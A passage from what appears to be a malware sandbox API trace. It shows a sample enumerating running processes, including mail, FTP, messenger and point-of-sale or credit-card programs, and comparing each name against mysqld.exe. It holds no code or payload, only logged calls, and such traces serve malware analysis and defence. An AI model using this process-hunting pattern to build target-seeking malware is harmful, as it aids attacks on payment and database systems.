lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0081.810] GetLastError () returned 0x0 [0081.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="outlook.exe") returned 260 [0081.810] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.810] CharLowerBuffW (in: lpsz="outlook.exe", cchLength=0xc | out: lpsz="outlook.exe") returned 0xc [0081.811] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.811] VarBstrCmp (bstrLeft="utlook.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.811] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0081.811] GetLastError () returned 0x0 [0081.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="pidgin.exe") returned 260 [0081.811] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.812] CharLowerBuffW (in: lpsz="pidgin.exe", cchLength=0xb | out: lpsz="pidgin.exe") returned 0xb [0081.812] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.812] VarBstrCmp (bstrLeft="pidgin.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.812] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0081.812] GetLastError () returned 0x0 [0081.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="scriptftp.exe") returned 260 [0081.813] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.813] CharLowerBuffW (in: lpsz="scriptftp.exe", cchLength=0xe | out: lpsz="scriptftp.exe") returned 0xe [0081.813] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.813] VarBstrCmp (bstrLeft="iptftp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.813] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0081.814] GetLastError () returned 0x0 [0081.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="skype.exe") returned 260 [0081.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.814] CharLowerBuffW (in: lpsz="skype.exe", cchLength=0xa | out: lpsz="skype.exe") returned 0xa [0081.814] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.814] VarBstrCmp (bstrLeft="skype.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.814] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0081.815] GetLastError () returned 0x0 [0081.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="smartftp.exe") returned 260 [0081.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.834] CharLowerBuffW (in: lpsz="smartftp.exe", cchLength=0xd | out: lpsz="smartftp.exe") returned 0xd [0081.834] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.834] VarBstrCmp (bstrLeft="artftp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.834] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0081.835] GetLastError () returned 0x0 [0081.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="thunderbird.exe") returned 260 [0081.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.836] CharLowerBuffW (in: lpsz="thunderbird.exe", cchLength=0x10 | out: lpsz="thunderbird.exe") returned 0x10 [0081.836] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.836] VarBstrCmp (bstrLeft="erbird.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.836] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0081.837] GetLastError () returned 0x0 [0081.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="totalcmd.exe") returned 260 [0081.837] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.837] CharLowerBuffW (in: lpsz="totalcmd.exe", cchLength=0xd | out: lpsz="totalcmd.exe") returned 0xd [0081.837] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.837] VarBstrCmp (bstrLeft="talcmd.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.837] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0081.838] GetLastError () returned 0x0 [0081.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="trillian.exe") returned 260 [0081.838] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.838] CharLowerBuffW (in: lpsz="trillian.exe", cchLength=0xd | out: lpsz="trillian.exe") returned 0xd [0081.838] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.838] VarBstrCmp (bstrLeft="illian.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.838] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0081.839] GetLastError () returned 0x0 [0081.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="webdrive.exe") returned 260 [0081.839] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.839] CharLowerBuffW (in: lpsz="webdrive.exe", cchLength=0xd | out: lpsz="webdrive.exe") returned 0xd [0081.840] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.840] VarBstrCmp (bstrLeft="bdrive.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.840] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0081.840] GetLastError () returned 0x0 [0081.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="whatsapp.exe") returned 260 [0081.840] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.841] CharLowerBuffW (in: lpsz="whatsapp.exe", cchLength=0xd | out: lpsz="whatsapp.exe") returned 0xd [0081.841] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.841] VarBstrCmp (bstrLeft="atsapp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.841] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0081.841] GetLastError () returned 0x0 [0081.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="winscp.exe") returned 260 [0081.841] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.842] CharLowerBuffW (in: lpsz="winscp.exe", cchLength=0xb | out: lpsz="winscp.exe") returned 0xb [0081.842] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.842] VarBstrCmp (bstrLeft="winscp.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.842] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0081.842] GetLastError () returned 0x0 [0081.842] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="yahoomessenger.exe") returned 260 [0081.843] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.843] CharLowerBuffW (in: lpsz="yahoomessenger.exe", cchLength=0x13 | out: lpsz="yahoomessenger.exe") returned 0x13 [0081.843] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.843] VarBstrCmp (bstrLeft="senger.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.843] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0081.844] GetLastError () returned 0x0 [0081.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="active-charge.exe") returned 260 [0081.844] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.844] CharLowerBuffW (in: lpsz="active-charge.exe", cchLength=0x12 | out: lpsz="active-charge.exe") returned 0x12 [0081.844] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.844] VarBstrCmp (bstrLeft="charge.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.844] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0081.845] GetLastError () returned 0x0 [0081.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="accupos.exe") returned 260 [0081.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.845] CharLowerBuffW (in: lpsz="accupos.exe", cchLength=0xc | out: lpsz="accupos.exe") returned 0xc [0081.845] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.845] VarBstrCmp (bstrLeft="ccupos.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.845] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0081.846] GetLastError () returned 0x0 [0081.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="afr38.exe") returned 260 [0081.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.846] CharLowerBuffW (in: lpsz="afr38.exe", cchLength=0xa | out: lpsz="afr38.exe") returned 0xa [0081.846] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.846] VarBstrCmp (bstrLeft="afr38.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.846] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0081.847] GetLastError () returned 0x0 [0081.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="aldelo.exe") returned 260 [0081.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.847] CharLowerBuffW (in: lpsz="aldelo.exe", cchLength=0xb | out: lpsz="aldelo.exe") returned 0xb [0081.847] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.847] VarBstrCmp (bstrLeft="aldelo.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.848] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0081.848] GetLastError () returned 0x0 [0081.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ccv_server.exe") returned 260 [0081.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.848] CharLowerBuffW (in: lpsz="ccv_server.exe", cchLength=0xf | out: lpsz="ccv_server.exe") returned 0xf [0081.848] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.849] VarBstrCmp (bstrLeft="server.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.849] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0081.849] GetLastError () returned 0x0 [0081.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="centralcreditcard.exe") returned 260 [0081.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.849] CharLowerBuffW (in: lpsz="centralcreditcard.exe", cchLength=0x16 | out: lpsz="centralcreditcard.exe") returned 0x16 [0081.850] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.850] VarBstrCmp (bstrLeft="itcard.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.850] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0081.850] GetLastError () returned 0x0 [0081.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="creditservice.exe") returned 260 [0081.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.851] CharLowerBuffW (in: lpsz="creditservice.exe", cchLength=0x12 | out: lpsz="creditservice.exe") returned 0x12 [0081.851] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.851] VarBstrCmp (bstrLeft="ervice.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.851] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0081.851] GetLastError () returned 0x0 [0081.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="edcsvr.exe") returned 260 [0081.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.852] CharLowerBuffW (in: lpsz="edcsvr.exe", cchLength=0xb | out: lpsz="edcsvr.exe") returned 0xb [0081.852] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.852] VarBstrCmp (bstrLeft="edcsvr.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.852] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0081.852] GetLastError () returned 0x0 [0081.852] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="fpos.exe") returned 260 [0081.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.853] CharLowerBuffW (in: lpsz="fpos.exe", cchLength=0x9 | out: lpsz="fpos.exe") returned 0x9 [0081.853] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.853] VarBstrCmp (bstrLeft="fpos.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.853] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0081.853] GetLastError () returned 0x0 [0081.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="isspos.exe") returned 260 [0081.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.854] CharLowerBuffW (in: lpsz="isspos.exe", cchLength=0xb | out: lpsz="isspos.exe") returned 0xb [0081.854] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.854] VarBstrCmp (bstrLeft="isspos.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.854] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0081.854] GetLastError () returned 0x0 [0081.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mxslipstream.exe") returned 260 [0081.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.855] CharLowerBuffW (in: lpsz="mxslipstream.exe", cchLength=0x11 | out: lpsz="mxslipstream.exe") returned 0x11 [0081.855] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.855] VarBstrCmp (bstrLeft="stream.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.855] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0081.855] GetLastError () returned 0x0 [0081.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="omnipos.exe") returned 260 [0081.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.856] CharLowerBuffW (in: lpsz="omnipos.exe", cchLength=0xc | out: lpsz="omnipos.exe") returned 0xc [0081.856] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.856] VarBstrCmp (bstrLeft="mnipos.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.856] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0081.856] GetLastError () returned 0x0 [0081.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spcwin.exe") returned 260 [0081.857] MultiByteToWideChar (in: CodePage=0x0, 